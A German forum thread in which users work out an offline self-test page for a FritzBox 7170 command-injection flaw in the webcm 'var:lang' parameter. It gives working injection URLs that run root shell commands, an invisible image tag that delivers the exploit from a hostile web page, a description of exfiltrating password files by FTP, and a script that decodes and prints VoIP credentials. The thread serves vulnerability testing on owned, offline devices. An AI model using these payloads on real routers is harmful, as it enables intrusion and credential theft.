AVM Sicherheitslücke - Testseite

[stefbeer]

@RFZ: Ich hab gestern mal kurz eine alte, stillgelegte 7170 von mir wieder in Betrieb genommen (mit verwundbarer FW und Offline natürlich) um das ganze mal zu testen und genauer anzuschauen.

Erstmal zur grunsätzlichen Ausführung des angehängten Befehls: Man übergibt an die Variable "var:lang" einen String. Dieser String wird in der verwundbaren FW Eins zu Eins an einen Shell-Aufruf des ctrlmgr (die genaue Befehlszeile weiß ich auswendig leider nicht mehr) angehängt bzw. als Parameter übergeben. Deswegen können wir auch mit dem & (bei der Variable als URL-Encoded %26) von der eigentlichen Parameterübergabe "ausbrechen" und unseren eigenen Befehl in der shell ausführen. Mit root-rechten natürlich.

Und nun zur Ausgabe:
Die Ausgabe des Befehls wird im HTTP-Antwort-Stream untergebracht. Bei meinen Tests gestern meist direkt nach dem "HTTP 200 OK", einmal ist es aber auch ein bisschen weiter nach unten gerutscht. Aber: Die Ausgabe befand sich direkt im Header und wurde deswegen meist vom Browser "verschluckt". Habe mir das Ganze dann über Wireshark angesehen weil es mir zu umständlich war die Aufrufe über Telnet auf Port 80 durchzuführen.
Interessant ist auch noch zu wissen: im Anschluss folgt die reguläre Seite, die entweder eine Weiterleitung zur Startseite oder nur ein IFrame ist, das weiß ich auswendig leider auch nicht mehr sicher.

Theoretisch sollte es reichen, wenn man mit ...var:lang=%26echo%20-e%20%22%5Cr%5Cn%5Cr%5Cn%22%26 (im Klartext: &echo -e "\r\n\r\n"&) anfängt, dann sollten 2 Leerzeilen eingefügt werden, dann denkt der Browser der Header ist zu ende und sollte eine jede Ausgabe direkt anzeigen.
Man darf aber weiterhin nicht vergessen, dass die eigentliche Seite immer noch unten dran hängt. Ich habe das gestern in Firefox einfach so umgangen, dass ich meine "URL" mit "view-source:" angefangen habe. Somit wurde mir immer direkt nur der Quelltext angezeigt.

 

[RFZ]

Juhu, da versteht mich einer
Umso besser, das heisst man kann sogar den Content-Type header setzen und z.B. ein JavaScript ausgeben, das - in die Testseite eingebunden - die Positiv-Meldung des Tests herbeiführt.
Man könnte auch einen Location-Header setzen und damit auf eine Seite umleiten, die dem User sagt, dass er angreifbar ist.
Oder man bindet eben schlicht eine Positiv-Meldung via iframe in die Testseite ein.

Alle drei Methoden hätten den Vorteil dass der Test 3 Zustände liefern kann: Lücke existiert, Lücke existiert nicht, Fritzbox nicht gefunden.
Ausserdem geht er offline.

Der Aktuelle Test erfordert Internet-Zugriff der Box und kennt ausserdem nur zwei Zustände: Lücke existiert, Lücke existiert vielleicht

Echt schade dass ich meine Boxen schon gepatched habe

 

[stefbeer]

Man könnte auch einen Location-Header setzen und damit auf eine Seite umleiten, die dem User sagt, dass er angreifbar ist.

Braucht man für einen Redirect via Location-Header nicht ein "302 Found"? Habe das noch nicht getestet.

Echt schade dass ich meine Boxen schon gepatched habe

Lebst du gerne gefährlich oder meinst du nur "Offline-Boxen"? Ich hätte das Ganze gerne auch Live bei mir gesehen (natürlich nur von mir selbst durchgeführt, nicht von außen...) bevor ich den Patch installiert habe, aber damals gab es ja zum Glück noch kaum Infos zu dem Exploit und meine Sicherheit war mir dann doch wichtiger.

Später werde ich meine Spielwiese mal wieder aufbauen und noch etwas herum experimentieren. Theoretisch müsste man nämlich auch mit einem &echo "<!--" am Ende des Requests die komplette restliche Seite verschwinden lassen können, weil der Browser denkt (oder denken soll) dass alles weitere nur HTML-Kommentar ist.

 

[RalfFriedl]

Kann das jemand (der mich versteht ) bestätigen oder ggf. ergänzen? Danke

Es kommt natürlich zusätzlich die ganze Ausgabe, die sowieso kommen würde, und irgendwo darin ist der Text enthalten.

 

[RFZ]

Braucht man für einen Redirect via Location-Header nicht ein "302 Found"? Habe das noch nicht getestet.

Guter Einwand, 30x wär da sicher gut... Mal geschaut ob sich auch der HTTP Header überschreiben lässt? Sonst eben HTML oder JS Redirect.

Lebst du gerne gefährlich oder meinst du nur "Offline-Boxen"? Ich hätte das Ganze gerne auch Live bei mir gesehen (natürlich nur von mir selbst durchgeführt, nicht von außen...) bevor ich den Patch installiert habe, aber damals gab es ja zum Glück noch kaum Infos zu dem Exploit und meine Sicherheit war mir dann doch wichtiger.

Hast ja recht Ich hab leider keine offline-box übrig...

Später werde ich meine Spielwiese mal wieder aufbauen und noch etwas herum experimentieren. Theoretisch müsste man nämlich auch mit einem &echo "<!--" am Ende des Requests die komplette restliche Seite verschwinden lassen können, weil der Browser denkt (oder denken soll) dass alles weitere nur HTML-Kommentar ist.

korrekt, bzw. bei JS mit /* am ende

 

[erik]

Beitrag den geltenden Copyrightvorgaben angepasst

Also ich habe noch eine 7170 im Keller die noch die alte Firmware hat. Mit der würde ich es gerne mal offline testen, aber von Webseitenprogrammierung habe ich keinen Plan. Außerdem liegt da noch eine 7050, die ja offiziell nicht betroffen sein soll, aber ob die inoffizielle Laborfirmware xx.04.50 betroffen ist würde ich gerne mal sehen. Auch eine 3030 und eine SL Wlan liegen noch da zum Test.

[... nix da, Novize :motz:]

 

[stefbeer]

Hier noch einige Infos zu meinen Erkenntnissen bzw. ein paar Details zur Veranschaulichung:

Lasse ich über den Exploit den Befehl "pwd" ausführen, bekomme ich zwar eine Antwort, allerdings geht diese im Header der Antwort (2. Zeile) unter und wird somit nicht im Browser angezeigt.


Mache ich meinen eigenen Header fertig und füge noch ein bisschen HTML hinzu, kann ich genau das anzeigen lassen was ich will. Und sonst nichts.


Der Rest ist immer noch da, nur nicht direkt sichtbar. Im Quelltext der Seite natürlich schon noch.


So kann ich alle Befehle ausführen die ich will und habe auch wirklich nur meinen Header. Hier der Beweis aus Wireshark.


Hier sieht man sehr schön die komplette Befehlszeile von der ich in meinem vorherigen Post gesprochen habe. Unsere definierte "Sprache" wird einfach hinten dran gehängt. Der Übersichtlichkeit halber bin ich zwischendrin von dem & (URL-Encoded %26) zum ; (URL-Encoded %3B) als Befehlstrenner übergegangen. Persönliche Vorlieben

Natürlich ist das überhaupt nicht HTML-Standard-Konform da die ganzen Zeichen nicht sauber kodiert sind und Tags einfach geöffnet und nicht mehr geschlossen werden usw...

Somit lässt sich mit der URL

http://fritz.box/cgi-bin/webcm?var:lang=%3B%20echo%20-e%20%22Content-type:%20text/html%3B%20charset=utf-8\r\n\r\n%3Ch1%3ESie%20sind%20verwundbar!%3C/h1%3E%3C!--%22

folgende Seite "generieren":

Und für alle Neugierigen unter uns, hier der Quelltext welcher im Browser ankommt:


Und mir ist noch etwas aufgefallen: Der übergebene String darf nicht unendlich lang sein. Beispiel:

Von meinem "echo"... am Ende ist nur noch das "ech" angekommen.
Folgendes hatte ich in der Adresszeile (nur der Teil der angekommen ist):

%3Becho -e "Content-type: text/html%3B charset=utf-8\r\n\r\n<pre>" %3B pwd %3B uptime %3B busybox %3B ech

Und etwas einfacher Menschen-Lesbar:

;echo -e "Content-type: text/html; charset=utf-8\r\n\r\n<pre>" ; pwd ; uptime ; busybox ; ech

93 Zeichen sind das. Irgendwie ne komische Zahl. Entweder wird der Rest von CGI verschluckt oder ich habe die maximal mögliche Länge eines Befehls in der Shell erreicht. Egal.

Ich hoffe der Eine oder Andere findet das Ganze interessant.

 

[SaschaBr]

Krass!!!

Wenn man bedenkt, wie lange die Boxen "quasi offen" gestanden haben, dann kann man sich echt nur wundern, dass damit nicht mehr Schaden angerichtet wurde (hoffentlich!!!).

 

[RFZ]

Danke für die schöne Darstellung stefbeer
Hab ich mir genau so vorgestellt!

 

[HabNeFritzbox]

Wird bestimmt gleich wieder von nem Admin gelöscht, wie sonst auch schon Teils mit man Demo Link postet als Beispiel.

Wer noch ned gepatcht hat, hat selbst Schuld.

 

[qwertz.asdfgh]

Wird bestimmt gleich wieder von nem Admin gelöscht,

Ja, wobei die Admins einen Beitrag bis jetzt übersehen haben . Es bringt aber wirklich nichts mehr, der Exploit ist in aller Munde und lässt sich nun wirklich nicht mehr verheimlichen... :roll:

 

[leseratte10]

Hm, damit kommt der User nun an Daten auf der Fritzbox-Seite, (bzw. hat eine Shell), ohne sich einzuloggen. Wie kommen dann aber die Angreifer mit einer manipulierten Seite daran?

 

[koyaanisqatsi]

So garnicht, der User soll ja nichts mitbekommen.
Deswegen mein Post, stefber macht genau das Gegenteil.
Als offline Selbsttest, sozusagen.
Der Hacker braucht nur auf eine EMail zu warten, oder guckt ab und zu mal in ein bestimmtes FTP-Verzeichnis.

 

[vel_tins]

..Wie kommen dann aber die Angreifer mit einer manipulierten Seite daran?

Indem der Link auf der "bösen Seite" z.B. unsichtbar als "Bild" eingebunden wird.
Dach wird die ar7.cfg/voip.cfg mit Passwörtern z.B. per ftp auf den "bösen Server" geladen.
So oder ähnlich...

<img src="fritz.box/cgi-bin/webcm?var:lang=%3B%20echo%20-e%20%22Content-type:%20text/html%3B%20charset=utf-8\r\n\r\n%3Ch1%3ESie%20sind%20verwundbar!%3C/h1%3E%3C!--%">

 

[m4ti]

Kann ich denn jetzt eigentlich updaten, ohne, dass Fritzload verloren geht?

 

[informerex]

du solltest Fritzload in jedem Fall höhere Priorität vor dem FW-Update geben :crazy:

 

[m4ti]

Wie meinst du das? (Sorry habe mich länger nicht dafür interessiert)
Sonst muss ich es eben danach noch mal drüber bügeln.

 

[informerex]

genau Sicherheit geht vor, dh du solltest in jedem Fall das Update machen und dann schauen ob Fritzload funktioniert

 

[RalfFriedl]

Und bitte beim Thema bleiben, das ist hier Testseite und nicht allgemeine Fragen zu Updates und Fritzload.

 

[koyaanisqatsi]

Genau.

@stefber: Probier auch mal...

echo -e "content-type: text/plain\n\n"

...dann kannste auch Ausgaben von top oder ps wie
auf der Konsole ausgeben klassen. Und sparst HTML Tags und evtl.: view-source:

Der Schocker als CGI direkt im Browser...
/cgi/bin/vpswds

#!/bin/sh
echo -e "content-type: text/plain\n\n"
xxxxxxxxx -c -C voip -o /var/tmp/voip.cfg
cat /var/tmp/voip.cfg
rm /var/tmp/voip.cfg